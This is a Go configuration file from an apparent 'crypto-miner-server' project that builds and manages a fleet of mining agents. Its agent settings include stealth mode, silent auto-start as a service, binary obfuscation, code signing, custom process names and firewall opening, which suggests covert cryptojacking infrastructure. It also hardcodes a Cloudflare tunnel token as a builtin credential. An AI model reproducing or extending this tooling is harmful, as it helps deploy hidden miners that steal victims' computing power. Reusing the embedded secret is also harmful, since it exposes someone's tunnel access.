Add runtime comrade account, null-safe spread funnel API/UI, server-started cloudflared connector with Calibrate token field and builtin fallback, and simplify LAUNCH to delegate tunnel startup to AetherForge.
882 lines
31 KiB
Go
882 lines
31 KiB
Go
package main
|
|
|
|
import (
|
|
"encoding/json"
|
|
"flag"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
)
|
|
|
|
type Config struct {
|
|
Port int `json:"port"`
|
|
DataDir string `json:"-"` // set from -data CLI flag; never written to config.json
|
|
|
|
Pool PoolConfig `json:"pool"`
|
|
Wallet WalletConfig `json:"wallet"`
|
|
|
|
// Ravencoin / GPU mining defaults — pre-populated in Forge when set here.
|
|
RvnPool PoolConfig `json:"rvn_pool,omitempty"`
|
|
RvnWallet WalletConfig `json:"rvn_wallet,omitempty"`
|
|
|
|
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
|
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
|
Background BackgroundConfig `json:"background,omitempty"`
|
|
Alerts AlertsConfig `json:"alerts"`
|
|
Server ServerSettings `json:"server"`
|
|
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
|
}
|
|
|
|
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
|
type TunnelDefaults struct {
|
|
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
|
|
CloudflaredTargetURL string `json:"cloudflared_target_url"`
|
|
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
|
|
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
|
|
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
|
|
}
|
|
|
|
// ServerSettings controls the locally hosted control server (not baked into miners).
|
|
type ServerSettings struct {
|
|
PublicURL string `json:"public_url"`
|
|
StatsRetentionHours int `json:"stats_retention_hours"`
|
|
BuildRetentionDays int `json:"build_retention_days"`
|
|
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
|
|
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
|
|
MaxAgents int `json:"max_agents"`
|
|
MaxBuildSizeMB int `json:"max_build_size_mb"`
|
|
LogAgentConnections bool `json:"log_agent_connections"`
|
|
LogShareSubmissions bool `json:"log_share_submissions"`
|
|
LogPoolTraffic bool `json:"log_pool_traffic"`
|
|
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
|
DashboardSubtitle string `json:"dashboard_subtitle"`
|
|
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
|
ObfuscateDefault bool `json:"obfuscate_default"`
|
|
SignEnabled bool `json:"sign_enabled"`
|
|
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
|
SignToolPath string `json:"sign_tool_path"`
|
|
SignTimestampURL string `json:"sign_timestamp_url"`
|
|
// FleetSecret is a random token generated once on first run and baked into
|
|
// every forged agent binary. Agents must present it on connect or be rejected.
|
|
FleetSecret string `json:"fleet_secret"`
|
|
}
|
|
|
|
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
|
type PoolEndpoint struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
}
|
|
|
|
type PoolConfig struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
UseTLS bool `json:"use_tls"`
|
|
Password string `json:"password"`
|
|
BackupPools []PoolEndpoint `json:"backup_pools,omitempty"`
|
|
}
|
|
|
|
type WalletConfig struct {
|
|
Address string `json:"address"`
|
|
PaymentID string `json:"payment_id"`
|
|
}
|
|
|
|
type AgentDefaults struct {
|
|
Threads int `json:"threads"`
|
|
ThreadMode string `json:"thread_mode"`
|
|
ThreadPercent int `json:"thread_percent"`
|
|
CPUPriority string `json:"cpu_priority"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
|
MaxMemoryPct int `json:"max_memory_percent"`
|
|
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
|
MiningMode string `json:"mining_mode"`
|
|
DisplayMode string `json:"display_mode"`
|
|
ProcessName string `json:"process_name"`
|
|
IdleThresholdPct int `json:"idle_threshold_pct"`
|
|
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
|
ScheduleStart string `json:"schedule_start"`
|
|
ScheduleEnd string `json:"schedule_end"`
|
|
InstallBase string `json:"install_base"`
|
|
InstallCustomBase string `json:"install_custom_base"`
|
|
InstallRelativePath string `json:"install_relative_path"`
|
|
AdaptToHardware bool `json:"adapt_to_hardware"`
|
|
SelfHealing bool `json:"self_healing"`
|
|
FileLogging bool `json:"file_logging"`
|
|
StealthMode bool `json:"stealth_mode"`
|
|
}
|
|
|
|
type BackgroundConfig struct {
|
|
SilentMode bool `json:"silent_mode"`
|
|
RunAs string `json:"run_as"`
|
|
AutoStart bool `json:"auto_start"`
|
|
}
|
|
|
|
type AlertsConfig struct {
|
|
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
|
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
|
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
|
TelegramBotToken string `json:"telegram_bot_token"`
|
|
TelegramChatID string `json:"telegram_chat_id"`
|
|
WebhookURL string `json:"webhook_url"`
|
|
// Per-event Telegram/email toggles (default true).
|
|
NotifyAgentConnect bool `json:"notify_agent_connect"`
|
|
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
|
|
NotifyAgentOffline bool `json:"notify_agent_offline"`
|
|
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
|
|
NotifyRejectionRate bool `json:"notify_rejection_rate"`
|
|
NotifyBuildComplete bool `json:"notify_build_complete"`
|
|
NotifyKEVExposure bool `json:"notify_kev_exposure"`
|
|
EmailEnabled bool `json:"email_enabled"`
|
|
SMTPHost string `json:"smtp_host"`
|
|
SMTPPort int `json:"smtp_port"`
|
|
SMTPUser string `json:"smtp_user"`
|
|
SMTPPassword string `json:"smtp_password"`
|
|
EmailTo string `json:"email_to"`
|
|
EmailFrom string `json:"email_from"`
|
|
}
|
|
|
|
func DefaultConfig() *Config {
|
|
return &Config{
|
|
Port: 8989,
|
|
DataDir: "data",
|
|
Pool: PoolConfig{
|
|
Host: "pool.supportxmr.com",
|
|
Port: 443,
|
|
UseTLS: true,
|
|
Password: "x",
|
|
BackupPools: []PoolEndpoint{
|
|
{Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true},
|
|
{Host: "xmr.herominers.com", Port: 1120, UseTLS: true},
|
|
},
|
|
},
|
|
Wallet: WalletConfig{
|
|
Address: "",
|
|
PaymentID: "",
|
|
},
|
|
RvnPool: PoolConfig{
|
|
Host: "rvn.2miners.com",
|
|
Port: 6060,
|
|
UseTLS: false,
|
|
Password: "x",
|
|
BackupPools: []PoolEndpoint{
|
|
{Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false},
|
|
{Host: "kawpow.herominers.com", Port: 1130, UseTLS: false},
|
|
},
|
|
},
|
|
RvnWallet: WalletConfig{
|
|
Address: "",
|
|
},
|
|
DefaultAgent: AgentDefaults{
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MaxCPUUsagePct: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAMMB: 1024,
|
|
MiningMode: "always",
|
|
DisplayMode: "background",
|
|
ProcessName: "",
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
|
AdaptToHardware: true,
|
|
SelfHealing: true,
|
|
FileLogging: true,
|
|
StealthMode: false,
|
|
},
|
|
Background: BackgroundConfig{
|
|
SilentMode: true,
|
|
RunAs: "service",
|
|
AutoStart: true,
|
|
},
|
|
Alerts: AlertsConfig{
|
|
OfflineThresholdMinutes: 5,
|
|
HashrateDropThresholdPct: 50,
|
|
RejectionRateThresholdPct: 5,
|
|
NotifyAgentConnect: true,
|
|
NotifyAgentReconnect: true,
|
|
NotifyAgentOffline: true,
|
|
NotifyHashrateDrop: true,
|
|
NotifyRejectionRate: true,
|
|
NotifyBuildComplete: true,
|
|
NotifyKEVExposure: true,
|
|
},
|
|
Server: ServerSettings{
|
|
PublicURL: "",
|
|
StatsRetentionHours: 168,
|
|
BuildRetentionDays: 30,
|
|
PoolReconnectSeconds: 30,
|
|
WebSocketPingSeconds: 30,
|
|
MaxAgents: 256,
|
|
MaxBuildSizeMB: 150,
|
|
LogAgentConnections: true,
|
|
LogShareSubmissions: false,
|
|
LogPoolTraffic: false,
|
|
StrictWalletValidation: false,
|
|
DashboardSubtitle: "security is just an emotion",
|
|
OpenFirewallOnStart: true,
|
|
ObfuscateDefault: false,
|
|
SignEnabled: false,
|
|
SignTimestampURL: "http://timestamp.digicert.com",
|
|
},
|
|
}
|
|
}
|
|
|
|
func LoadConfig() *Config {
|
|
cfg := DefaultConfig()
|
|
|
|
// Parse CLI flags
|
|
port := flag.Int("port", 8989, "Server port")
|
|
dataDir := flag.String("data", "data", "Data directory")
|
|
flag.Parse()
|
|
|
|
cfg.Port = *port
|
|
cfg.DataDir = *dataDir
|
|
|
|
// Try to load from config file
|
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
|
if data, err := os.ReadFile(configPath); err == nil {
|
|
var fileCfg Config
|
|
if err := json.Unmarshal(data, &fileCfg); err == nil {
|
|
// Use mergeConfigExplicit so that boolean fields absent from the file
|
|
// keep their DefaultConfig values instead of being zeroed (H14).
|
|
var presentKeys map[string]json.RawMessage
|
|
_ = json.Unmarshal(data, &presentKeys)
|
|
mergeConfigExplicit(cfg, &fileCfg, presentKeys)
|
|
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
|
|
cfg.Server.OpenFirewallOnStart = true
|
|
}
|
|
if !strings.Contains(string(data), `"notify_agent_connect"`) {
|
|
cfg.Alerts.NotifyAgentConnect = true
|
|
cfg.Alerts.NotifyAgentReconnect = true
|
|
cfg.Alerts.NotifyAgentOffline = true
|
|
cfg.Alerts.NotifyHashrateDrop = true
|
|
cfg.Alerts.NotifyRejectionRate = true
|
|
cfg.Alerts.NotifyBuildComplete = true
|
|
cfg.Alerts.NotifyKEVExposure = true
|
|
}
|
|
}
|
|
}
|
|
|
|
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
|
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
|
}
|
|
hydrateCloudflareTokenFromFile(cfg)
|
|
|
|
return cfg
|
|
}
|
|
|
|
const cloudflaredTokenFile = "cloudflared-token.txt"
|
|
|
|
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
|
|
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
|
|
|
|
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
|
|
func (c *Config) ConnectorToken() string {
|
|
if c == nil {
|
|
return builtinCloudflareTunnelToken
|
|
}
|
|
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
|
|
return t
|
|
}
|
|
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
|
|
return t
|
|
}
|
|
if c.DataDir != "" {
|
|
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
|
|
if t := strings.TrimSpace(string(data)); t != "" {
|
|
return t
|
|
}
|
|
}
|
|
}
|
|
return builtinCloudflareTunnelToken
|
|
}
|
|
|
|
func hydrateCloudflareTokenFromFile(cfg *Config) {
|
|
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
|
|
return
|
|
}
|
|
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
|
|
if err != nil {
|
|
return
|
|
}
|
|
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
|
|
}
|
|
|
|
func (c *Config) syncCloudflaredTokenFile() {
|
|
if c == nil || c.DataDir == "" {
|
|
return
|
|
}
|
|
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
|
|
if tok == "" {
|
|
return
|
|
}
|
|
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
|
|
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
|
|
}
|
|
|
|
// AlertSettings builds notification settings for the alerts package.
|
|
func (c *Config) AlertSettings() alerts.Settings {
|
|
if c == nil {
|
|
return alerts.Settings{}
|
|
}
|
|
return alerts.NewSettings(alerts.NotifyConfig{
|
|
TelegramBotToken: c.Alerts.TelegramBotToken,
|
|
TelegramChatID: c.Alerts.TelegramChatID,
|
|
WebhookURL: c.Alerts.WebhookURL,
|
|
EmailEnabled: c.Alerts.EmailEnabled,
|
|
SMTPHost: c.Alerts.SMTPHost,
|
|
SMTPPort: c.Alerts.SMTPPort,
|
|
SMTPUser: c.Alerts.SMTPUser,
|
|
SMTPPassword: c.Alerts.SMTPPassword,
|
|
EmailTo: c.Alerts.EmailTo,
|
|
EmailFrom: c.Alerts.EmailFrom,
|
|
}, alerts.EventToggles{
|
|
AgentConnect: c.Alerts.NotifyAgentConnect,
|
|
AgentReconnect: c.Alerts.NotifyAgentReconnect,
|
|
AgentOffline: c.Alerts.NotifyAgentOffline,
|
|
HashrateDrop: c.Alerts.NotifyHashrateDrop,
|
|
RejectionRate: c.Alerts.NotifyRejectionRate,
|
|
BuildComplete: c.Alerts.NotifyBuildComplete,
|
|
KEVExposure: c.Alerts.NotifyKEVExposure,
|
|
})
|
|
}
|
|
|
|
func mergeConfig(dst, src *Config) {
|
|
if src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
if src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
if src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if len(src.Pool.BackupPools) > 0 {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
if src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
if src.RvnPool.Host != "" {
|
|
dst.RvnPool.Host = src.RvnPool.Host
|
|
}
|
|
if src.RvnPool.Port != 0 {
|
|
dst.RvnPool.Port = src.RvnPool.Port
|
|
}
|
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
|
if src.RvnPool.Password != "" {
|
|
dst.RvnPool.Password = src.RvnPool.Password
|
|
}
|
|
if len(src.RvnPool.BackupPools) > 0 {
|
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
|
}
|
|
if src.RvnWallet.Address != "" {
|
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
|
}
|
|
if src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
if src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
if src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
if src.Alerts.WebhookURL != "" {
|
|
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
|
}
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
|
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
|
if src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
if src.Server.PublicURL != "" {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
if src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
if src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
}
|
|
|
|
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
|
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
|
|
if present == nil {
|
|
return nil
|
|
}
|
|
raw, ok := present[section]
|
|
if !ok || len(raw) == 0 {
|
|
return nil
|
|
}
|
|
var nested map[string]json.RawMessage
|
|
if err := json.Unmarshal(raw, &nested); err != nil {
|
|
return nil
|
|
}
|
|
return nested
|
|
}
|
|
|
|
// mergeConfigExplicit is like mergeConfig but only applies fields when the
|
|
// corresponding JSON key was explicitly present in the PUT payload.
|
|
// Top-level absence preserves existing values (H14); nested absence within a
|
|
// section preserves sibling fields (partial PUT / import shallow-merge fix).
|
|
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|
if present == nil {
|
|
// Fall back to old behaviour if we have no key presence info
|
|
mergeConfig(dst, src)
|
|
return
|
|
}
|
|
has := func(key string) bool { _, ok := present[key]; return ok }
|
|
in := func(section map[string]json.RawMessage, key string) bool {
|
|
if section == nil {
|
|
return false
|
|
}
|
|
_, ok := section[key]
|
|
return ok
|
|
}
|
|
|
|
// Non-boolean scalar fields — safe to use zero-value guard
|
|
if has("port") && src.Port != 0 {
|
|
dst.Port = src.Port
|
|
}
|
|
if has("data_dir") && src.DataDir != "" {
|
|
dst.DataDir = src.DataDir
|
|
}
|
|
|
|
if has("pool") {
|
|
poolKeys := nestedJSONKeys(present, "pool")
|
|
if in(poolKeys, "host") && src.Pool.Host != "" {
|
|
dst.Pool.Host = src.Pool.Host
|
|
}
|
|
if in(poolKeys, "port") && src.Pool.Port != 0 {
|
|
dst.Pool.Port = src.Pool.Port
|
|
}
|
|
if in(poolKeys, "use_tls") {
|
|
dst.Pool.UseTLS = src.Pool.UseTLS
|
|
}
|
|
if in(poolKeys, "password") && src.Pool.Password != "" {
|
|
dst.Pool.Password = src.Pool.Password
|
|
}
|
|
if in(poolKeys, "backup_pools") {
|
|
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
|
}
|
|
}
|
|
|
|
if has("wallet") {
|
|
walletKeys := nestedJSONKeys(present, "wallet")
|
|
if in(walletKeys, "address") && src.Wallet.Address != "" {
|
|
dst.Wallet.Address = src.Wallet.Address
|
|
}
|
|
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
|
|
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
|
}
|
|
}
|
|
|
|
if has("rvn_pool") {
|
|
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
|
|
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
|
|
dst.RvnPool.Host = src.RvnPool.Host
|
|
}
|
|
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
|
|
dst.RvnPool.Port = src.RvnPool.Port
|
|
}
|
|
if in(rvnPoolKeys, "use_tls") {
|
|
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
|
}
|
|
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
|
|
dst.RvnPool.Password = src.RvnPool.Password
|
|
}
|
|
if in(rvnPoolKeys, "backup_pools") {
|
|
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
|
}
|
|
}
|
|
|
|
if has("rvn_wallet") {
|
|
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
|
|
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
|
|
dst.RvnWallet.Address = src.RvnWallet.Address
|
|
}
|
|
}
|
|
|
|
// The JSON struct tag is "default_agent_config" — must match exactly.
|
|
if has("default_agent_config") {
|
|
daKeys := nestedJSONKeys(present, "default_agent_config")
|
|
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
|
|
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
|
}
|
|
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
|
|
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
|
}
|
|
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
|
|
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
|
}
|
|
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
|
|
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
|
}
|
|
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
|
|
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
|
}
|
|
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
|
|
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
|
}
|
|
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
